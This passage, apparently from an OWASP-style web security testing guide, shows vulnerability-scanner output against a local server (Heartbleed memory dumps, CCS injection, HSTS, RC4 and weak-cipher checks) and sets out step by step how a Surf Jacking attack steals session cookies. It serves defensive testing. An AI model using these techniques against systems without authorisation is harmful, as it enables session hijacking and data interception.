  0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00  .......... .!.&amp;quot;.&lt;br /&gt;
  0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00  #.$.%.&amp;amp;.'.(.).*.&lt;br /&gt;
  0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00  +.,.-.../.0.1.2.&lt;br /&gt;
  0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00  3.4.5.6.7.8.9.:.&lt;br /&gt;
  00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00  ;.&amp;lt;.=.&amp;gt;.?.@.A.B.&lt;br /&gt;
  00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00  C.D.E.F.`.a.b.c.&lt;br /&gt;
  00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00  d.e.f.g.h.i.j.k.&lt;br /&gt;
  00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00  l.m.............&lt;br /&gt;
  01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0   .!.&amp;quot;.#.$.%.&amp;amp;.'.&lt;br /&gt;
  01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0  (.).*.+.,.-.../.&lt;br /&gt;
  01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0  0.1.2.3.4.5.6.7.&lt;br /&gt;
  01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0  8.9.:.;.&amp;lt;.=.&amp;gt;.?.&lt;br /&gt;
  01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0  @.A.B.C.D.E.F.G.&lt;br /&gt;
  01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0  H.I.J.K.L.M.N.O.&lt;br /&gt;
  0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0  P.Q.R.S.T.U.V.W.&lt;br /&gt;
  0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0  X.Y.Z.[.\.].^._.&lt;br /&gt;
  0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0  `.a.b.c.d.e.f.g.&lt;br /&gt;
  0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0  h.i.j.k.l.m.n.o.&lt;br /&gt;
  0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0  p.q.r.s.t.u.v.w.&lt;br /&gt;
  0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0  x.y.z.{.|.}.~...&lt;br /&gt;
  02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.&lt;br /&gt;
  02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00  2...............&lt;br /&gt;
  0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00  ....#...........&lt;br /&gt;
  0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02  ..........}.....&lt;br /&gt;
&lt;br /&gt;
[-] Closing connection&lt;br /&gt;
&lt;br /&gt;
[-] Connecting to 127.0.0.1:443 using TLSv1.1&lt;br /&gt;
[-] Sending ClientHello&lt;br /&gt;
[-] ServerHello received&lt;br /&gt;
[-] Sending Heartbeat&lt;br /&gt;
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.1&lt;br /&gt;
[-] Displaying response (lines consisting entirely of null bytes are removed):&lt;br /&gt;
&lt;br /&gt;
  0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04  ......SHs.|.....&lt;br /&gt;
  0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0  ..-I...@........&lt;br /&gt;
  0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00  .B.D.Y..........&lt;br /&gt;
  0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00  .......... .!.&amp;quot;.&lt;br /&gt;
  0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00  #.$.%.&amp;amp;.'.(.).*.&lt;br /&gt;
  0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00  +.,.-.../.0.1.2.&lt;br /&gt;
  0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00  3.4.5.6.7.8.9.:.&lt;br /&gt;
  00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00  ;.&amp;lt;.=.&amp;gt;.?.@.A.B.&lt;br /&gt;
  00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00  C.D.E.F.`.a.b.c.&lt;br /&gt;
  00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00  d.e.f.g.h.i.j.k.&lt;br /&gt;
  00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00  l.m.............&lt;br /&gt;
  01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0   .!.&amp;quot;.#.$.%.&amp;amp;.'.&lt;br /&gt;
  01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0  (.).*.+.,.-.../.&lt;br /&gt;
  01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0  0.1.2.3.4.5.6.7.&lt;br /&gt;
  01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0  8.9.:.;.&amp;lt;.=.&amp;gt;.?.&lt;br /&gt;
  01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0  @.A.B.C.D.E.F.G.&lt;br /&gt;
  01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0  H.I.J.K.L.M.N.O.&lt;br /&gt;
  0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0  P.Q.R.S.T.U.V.W.&lt;br /&gt;
  0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0  X.Y.Z.[.\.].^._.&lt;br /&gt;
  0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0  `.a.b.c.d.e.f.g.&lt;br /&gt;
  0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0  h.i.j.k.l.m.n.o.&lt;br /&gt;
  0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0  p.q.r.s.t.u.v.w.&lt;br /&gt;
  0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0  x.y.z.{.|.}.~...&lt;br /&gt;
  02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.&lt;br /&gt;
  02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00  2...............&lt;br /&gt;
  0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00  ....#...........&lt;br /&gt;
  0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02  ..........}.....&lt;br /&gt;
&lt;br /&gt;
[-] Closing connection&lt;br /&gt;
&lt;br /&gt;
[-] Connecting to 127.0.0.1:443 using TLSv1.2&lt;br /&gt;
[-] Sending ClientHello&lt;br /&gt;
[-] ServerHello received&lt;br /&gt;
[-] Sending Heartbeat&lt;br /&gt;
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.2&lt;br /&gt;
[-] Displaying response (lines consisting entirely of null bytes are removed):&lt;br /&gt;
&lt;br /&gt;
  0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04  ......SHs.|.....&lt;br /&gt;
  0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0  ..-I...@........&lt;br /&gt;
  0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00  .B.D.Y..........&lt;br /&gt;
  0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00  .......... .!.&amp;quot;.&lt;br /&gt;
  0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00  #.$.%.&amp;amp;.'.(.).*.&lt;br /&gt;
  0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00  +.,.-.../.0.1.2.&lt;br /&gt;
  0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00  3.4.5.6.7.8.9.:.&lt;br /&gt;
  00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00  ;.&amp;lt;.=.&amp;gt;.?.@.A.B.&lt;br /&gt;
  00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00  C.D.E.F.`.a.b.c.&lt;br /&gt;
  00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00  d.e.f.g.h.i.j.k.&lt;br /&gt;
  00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00  l.m.............&lt;br /&gt;
  01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0   .!.&amp;quot;.#.$.%.&amp;amp;.'.&lt;br /&gt;
  01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0  (.).*.+.,.-.../.&lt;br /&gt;
  01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0  0.1.2.3.4.5.6.7.&lt;br /&gt;
  01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0  8.9.:.;.&amp;lt;.=.&amp;gt;.?.&lt;br /&gt;
  01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0  @.A.B.C.D.E.F.G.&lt;br /&gt;
  01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0  H.I.J.K.L.M.N.O.&lt;br /&gt;
  0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0  P.Q.R.S.T.U.V.W.&lt;br /&gt;
  0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0  X.Y.Z.[.\.].^._.&lt;br /&gt;
  0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0  `.a.b.c.d.e.f.g.&lt;br /&gt;
  0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0  h.i.j.k.l.m.n.o.&lt;br /&gt;
  0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0  p.q.r.s.t.u.v.w.&lt;br /&gt;
  0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0  x.y.z.{.|.}.~...&lt;br /&gt;
  02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.&lt;br /&gt;
  02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00  2...............&lt;br /&gt;
  0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00  ....#...........&lt;br /&gt;
  0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02  ..........}.....&lt;br /&gt;
&lt;br /&gt;
[-] Closing connection&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in http://heartbleed.com/&lt;br /&gt;
[!] Vulnerability Status: VULNERABLE&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=====================================&lt;br /&gt;
&lt;br /&gt;
Loading module: CCS Injection script by TripWire VERT ...&lt;br /&gt;
&lt;br /&gt;
Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug (CVE-2014-0224) ...&lt;br /&gt;
&lt;br /&gt;
[!] The target may allow early CCS on TLSv1.2&lt;br /&gt;
[!] The target may allow early CCS on TLSv1.1&lt;br /&gt;
[!] The target may allow early CCS on TLSv1&lt;br /&gt;
[!] The target may allow early CCS on SSLv3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] This is an experimental detection script and does not definitively determine vulnerable server status.&lt;br /&gt;
&lt;br /&gt;
[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CCS) Injection vulnerability (CVE-2014-0224) mentioned in http://ccsinjection.lepidum.co.jp/&lt;br /&gt;
[!] Vulnerability Status: Possible&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=====================================&lt;br /&gt;
&lt;br /&gt;
Checking localhost:443 for HTTP Compression support against BREACH vulnerability (CVE-2013-3587) ...&lt;br /&gt;
&lt;br /&gt;
[*] HTTP Compression: DISABLED&lt;br /&gt;
[*] Immune from BREACH attack mentioned in https://media.blackhat.com/us-13/US-13-Prado-SSL-Gone-in-30-seconds-A-BREACH-beyond-CRIME-WP.pdf&lt;br /&gt;
[*] Vulnerability Status: No&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
--------------- RAW HTTP RESPONSE ---------------&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Wed, 23 Jul 2014 13:48:07 GMT&lt;br /&gt;
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7&lt;br /&gt;
X-Powered-By: PHP/5.4.7&lt;br /&gt;
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure&lt;br /&gt;
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/&lt;br /&gt;
Content-Length: 193&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
&amp;lt;title&amp;gt;Login page &amp;lt;/title&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;lt;script src=&amp;quot;http://othersite/test.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;link rel=&amp;quot;stylesheet&amp;quot; type=&amp;quot;text/css&amp;quot; href=&amp;quot;http://somesite/test.css&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=====================================&lt;br /&gt;
&lt;br /&gt;
Checking localhost:443 for correct use of Strict Transport Security (STS) response header (RFC6797) ...&lt;br /&gt;
&lt;br /&gt;
[!] STS response header: NOT PRESENT&lt;br /&gt;
[!] Vulnerable to MITM threats mentioned in https://www.owasp.org/index.php/HTTP_Strict_Transport_Security#Threats&lt;br /&gt;
[!] Vulnerability Status: VULNERABLE&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
--------------- RAW HTTP RESPONSE ---------------&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Wed, 23 Jul 2014 13:48:07 GMT&lt;br /&gt;
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7&lt;br /&gt;
X-Powered-By: PHP/5.4.7&lt;br /&gt;
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure&lt;br /&gt;
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/&lt;br /&gt;
Content-Length: 193&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
&amp;lt;title&amp;gt;Login page &amp;lt;/title&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;lt;script src=&amp;quot;http://othersite/test.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;link rel=&amp;quot;stylesheet&amp;quot; type=&amp;quot;text/css&amp;quot; href=&amp;quot;http://somesite/test.css&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=====================================&lt;br /&gt;
&lt;br /&gt;
Checking localhost for HTTP support against HTTPS Stripping attack ...&lt;br /&gt;
&lt;br /&gt;
[!] HTTP Support on port [80] : SUPPORTED&lt;br /&gt;
[!] Vulnerable to HTTPS Stripping attack mentioned in https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf&lt;br /&gt;
[!] Vulnerability Status: VULNERABLE&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=====================================&lt;br /&gt;
&lt;br /&gt;
Checking localhost:443 for HTTP elements embedded in SSL page ...&lt;br /&gt;
&lt;br /&gt;
[!] HTTP elements embedded in SSL page: PRESENT&lt;br /&gt;
[!] Vulnerable to MITM malicious content injection attack&lt;br /&gt;
[!] Vulnerability Status: VULNERABLE&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
--------------- HTTP RESOURCES EMBEDDED ---------------&lt;br /&gt;
 - http://othersite/test.js&lt;br /&gt;
 - http://somesite/test.css&lt;br /&gt;
&lt;br /&gt;
=====================================&lt;br /&gt;
&lt;br /&gt;
Checking localhost:443 for ROBUST use of anti-caching mechanism ...&lt;br /&gt;
&lt;br /&gt;
[!] Cache Control Directives: NOT PRESENT&lt;br /&gt;
[!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive information will be leaked.&lt;br /&gt;
[!] Vulnerability Status: VULNERABLE&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
Robust Solution:&lt;br /&gt;
&lt;br /&gt;
	- Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0&lt;br /&gt;
	- Ref: https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OTG-AUTHN-006)&lt;br /&gt;
	       http://msdn.microsoft.com/en-us/library/ms533020(v=vs.85).aspx&lt;br /&gt;
&lt;br /&gt;
=====================================&lt;br /&gt;
&lt;br /&gt;
Checking localhost:443 for Surf Jacking vulnerability (due to Session Cookie missing secure flag) ...&lt;br /&gt;
&lt;br /&gt;
[!] Secure Flag in Set-Cookie:  PRESENT BUT NOT IN ALL COOKIES&lt;br /&gt;
[!] Vulnerable to Surf Jacking attack mentioned in https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf&lt;br /&gt;
[!] Vulnerability Status: VULNERABLE&lt;br /&gt;
&lt;br /&gt;
--------------- RAW HTTP RESPONSE ---------------&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Wed, 23 Jul 2014 13:48:07 GMT&lt;br /&gt;
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7&lt;br /&gt;
X-Powered-By: PHP/5.4.7&lt;br /&gt;
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure&lt;br /&gt;
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/&lt;br /&gt;
Content-Length: 193&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
=====================================&lt;br /&gt;
&lt;br /&gt;
Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY support ...&lt;br /&gt;
&lt;br /&gt;
[*] Forward Secrecy: SUPPORTED&lt;br /&gt;
[*] Connected using cipher - TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA on protocol - TLSv1 &lt;br /&gt;
[*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have compromised private keys.&lt;br /&gt;
[*] Vulnerability Status: No&lt;br /&gt;
&lt;br /&gt;
=====================================&lt;br /&gt;
&lt;br /&gt;
Checking localhost:443 for RC4 support (CVE-2013-2566) ...&lt;br /&gt;
&lt;br /&gt;
[!] RC4: SUPPORTED&lt;br /&gt;
[!] Vulnerable to MITM attack described in http://www.isg.rhul.ac.uk/tls/&lt;br /&gt;
[!] Vulnerability Status: VULNERABLE&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=====================================&lt;br /&gt;
&lt;br /&gt;
Checking localhost:443 for TLS 1.1 support ...&lt;br /&gt;
&lt;br /&gt;
Checking localhost:443 for TLS 1.2 support ...&lt;br /&gt;
&lt;br /&gt;
[*] TLS 1.1, TLS 1.2: SUPPORTED&lt;br /&gt;
[*] Immune from BEAST attack mentioned in http://www.infoworld.com/t/security/red-alert-https-has-been-hacked-174025&lt;br /&gt;
[*] Vulnerability Status: No &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=====================================&lt;br /&gt;
&lt;br /&gt;
Loading module: sslyze by iSecPartners ...&lt;br /&gt;
&lt;br /&gt;
Checking localhost:443 for Session Renegotiation support (CVE-2009-3555,CVE-2011-1473,CVE-2011-5094) ...&lt;br /&gt;
&lt;br /&gt;
[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED&lt;br /&gt;
[*] Mitigated from DOS attack (CVE-2011-1473,CVE-2011-5094) mentioned in https://www.thc.org/thc-ssl-dos/&lt;br /&gt;
[*] Vulnerability Status: No&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED&lt;br /&gt;
[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555	&lt;br /&gt;
[*] Vulnerability Status: No&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=====================================&lt;br /&gt;
&lt;br /&gt;
Loading module: TestSSLServer by Thomas Pornin ...&lt;br /&gt;
&lt;br /&gt;
Checking localhost:443 for SSL version 2 support ...&lt;br /&gt;
&lt;br /&gt;
[*] SSL version 2 : NOT SUPPORTED&lt;br /&gt;
[*] Immune from SSLv2-based MITM attack	&lt;br /&gt;
[*] Vulnerability Status: No&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=====================================&lt;br /&gt;
&lt;br /&gt;
Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT) weak ciphers support ...&lt;br /&gt;
&lt;br /&gt;
Supported LANE cipher suites:&lt;br /&gt;
  SSLv3&lt;br /&gt;
     RSA_EXPORT_WITH_RC4_40_MD5&lt;br /&gt;
     RSA_EXPORT_WITH_RC2_CBC_40_MD5&lt;br /&gt;
     RSA_EXPORT_WITH_DES40_CBC_SHA&lt;br /&gt;
     RSA_WITH_DES_CBC_SHA&lt;br /&gt;
     DHE_RSA_EXPORT_WITH_DES40_CBC_SHA&lt;br /&gt;
     DHE_RSA_WITH_DES_CBC_SHA&lt;br /&gt;
     TLS_ECDH_anon_WITH_RC4_128_SHA&lt;br /&gt;
     TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA&lt;br /&gt;
     TLS_ECDH_anon_WITH_AES_256_CBC_SHA&lt;br /&gt;
  (TLSv1.0: same as above)&lt;br /&gt;
  (TLSv1.1: same as above)&lt;br /&gt;
  (TLSv1.2: same as above)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[!] LANE ciphers : SUPPORTED&lt;br /&gt;
[!] Attackers may be ABLE to recover encrypted packets.&lt;br /&gt;
[!] Vulnerability Status: VULNERABLE&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=====================================&lt;br /&gt;
&lt;br /&gt;
Checking localhost:443 for GCM/CCM ciphers support against Lucky13 attack (CVE-2013-0169) ...&lt;br /&gt;
&lt;br /&gt;
Supported GCM cipher suites against Lucky13 attack:&lt;br /&gt;
  TLSv1.2&lt;br /&gt;
     TLS_RSA_WITH_AES_128_GCM_SHA256&lt;br /&gt;
     TLS_RSA_WITH_AES_256_GCM_SHA384&lt;br /&gt;
     TLS_DHE_RSA_WITH_AES_128_GCM_SHA256&lt;br /&gt;
     TLS_DHE_RSA_WITH_AES_256_GCM_SHA384&lt;br /&gt;
     TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256&lt;br /&gt;
     TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[*] GCM/CCM ciphers : SUPPORTED&lt;br /&gt;
[*] Immune from Lucky13 attack mentioned in http://www.isg.rhul.ac.uk/tls/Lucky13.html &lt;br /&gt;
[*] Vulnerability Status: No&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=====================================&lt;br /&gt;
&lt;br /&gt;
Checking localhost:443 for TLS Compression support against CRIME (CVE-2012-4929) &amp;amp; TIME attack  ...&lt;br /&gt;
&lt;br /&gt;
[*] TLS Compression : DISABLED&lt;br /&gt;
[*] Immune from CRIME &amp;amp; TIME attack mentioned in https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beery-wp.pdf &lt;br /&gt;
[*] Vulnerability Status: No&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=====================================&lt;br /&gt;
&lt;br /&gt;
[+] Breacher finished scanning in 12 seconds.&lt;br /&gt;
[+] Get your latest copy at http://yehg.net/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Testing SSL certificate validity – client and server===&lt;br /&gt;
Firstly upgrade the browser because CA certs expire and in every release of the browser these are renewed. Examine the validity of the certificates used by the application. Browsers will issue a warning when encountering expired certificates, certificates issued by untrusted CAs, and certificates which do not match name wise with the site to which they should refer. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
By clicking on the padlock that appears in the browser window when visiting an HTTPS site, testers can look at information related to the certificate – including the issuer, period of validity, encryption characteristics, etc. If the application requires a client certificate, that tester has probably installed one to access it. Certificate information is available in the browser by inspecting the relevant certificate(s) in the list of the installed certificates. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
These checks must be applied to all visible SSL-wrapped communication channels used by the application. Though this is the usual https service running on port 443, there may be additional services involved depending on the web application architecture and on deployment issues (an HTTPS administrative port left open, HTTPS services on non-standard ports, etc.). Therefore, apply these checks to all SSL-wrapped ports which have been discovered. For example, the nmap scanner features a scanning mode (enabled by the –sV command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has the capability of performing SSL checks on all SSL/TLS-wrapped services. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Example 1. Testing for certificate validity (manually)====&lt;br /&gt;
Rather than providing a fictitious example, this guide includes an anonymized real-life example to stress how frequently one stumbles on https sites whose certificates are inaccurate with respect to naming. The following screenshots refer to a regional site of a high-profile IT company. &lt;br /&gt;
&lt;br /&gt;
We are visiting a .it site and the certificate was issued to a .com site. Internet Explorer warns that the name on the certificate does not match the name of the site. &lt;br /&gt;
&lt;br /&gt;
[[Image:SSL Certificate Validity Testing IE Warning.gif]]&lt;br /&gt;
&lt;br /&gt;
''Warning issued by Microsoft Internet Explorer''&lt;br /&gt;
&lt;br /&gt;
The message issued by Firefox is different. Firefox complains because it cannot ascertain the identity of the .com site the certificate refers to because it does not know the CA which signed the certificate. In fact, Internet Explorer and Firefox do not come pre-loaded with the same list of CAs. Therefore, the behavior experienced with various browsers may differ.&lt;br /&gt;
&lt;br /&gt;
[[Image:SSL Certificate Validity Testing Firefox Warning.gif]]&lt;br /&gt;
&lt;br /&gt;
''Warning issued by Mozilla Firefox''&lt;br /&gt;
&lt;br /&gt;
===Testing for other vulnerabilities===&lt;br /&gt;
As mentioned previously, there are other types of vulnerabilities that are not related with the SSL/TLS protocol used, the cipher suites or Certificates. Apart from other vulnerabilities discussed in other parts of this guide, a vulnerability exists  when the server provides the website both with the HTTP and HTTPS protocols, and permits an attacker to force a victim into using a non-secure channel instead of a secure one.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Surf Jacking====&lt;br /&gt;
The Surf Jacking attack [7] was first presented by Sandro Gauci and permits to an attacker to hijack an HTTP session even when the victim’s connection is encrypted using SSL or TLS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following is a scenario of how the attack can take place:&lt;br /&gt;
* Victim logs into the secure website at https://somesecuresite/.&lt;br /&gt;
* The secure site issues a session cookie as the client logs in.&lt;br /&gt;
* While logged in, the victim opens a new browser window and goes to http:// examplesite/&lt;br /&gt;
* An attacker sitting on the same network is able to see the clear text traffic to http://examplesite.&lt;br /&gt;
* The attacker sends back a &amp;quot;301 Moved Permanently&amp;quot; in response to the clear text traffic to http://examplesite. The response contains the header “Location: http://somesecuresite /”, which makes it appear that examplesite is sending the web browser to somesecuresite. Notice that the URL scheme is HTTP not HTTPS.&lt;br /&gt;
* The victim's browser starts a new clear text connection to http://somesecuresite/ and sends an HTTP request containing the cookie in the HTTP header in clear text&lt;br /&gt;
* The attacker sees this traffic and logs the cookie for later use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To test if a website is vulnerable carry out the following tests:&lt;br /&gt;
# Check if website supports both HTTP and HTTPS protocols&lt;br /&gt;
# Check if cookies do not have the “Secure” flag&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
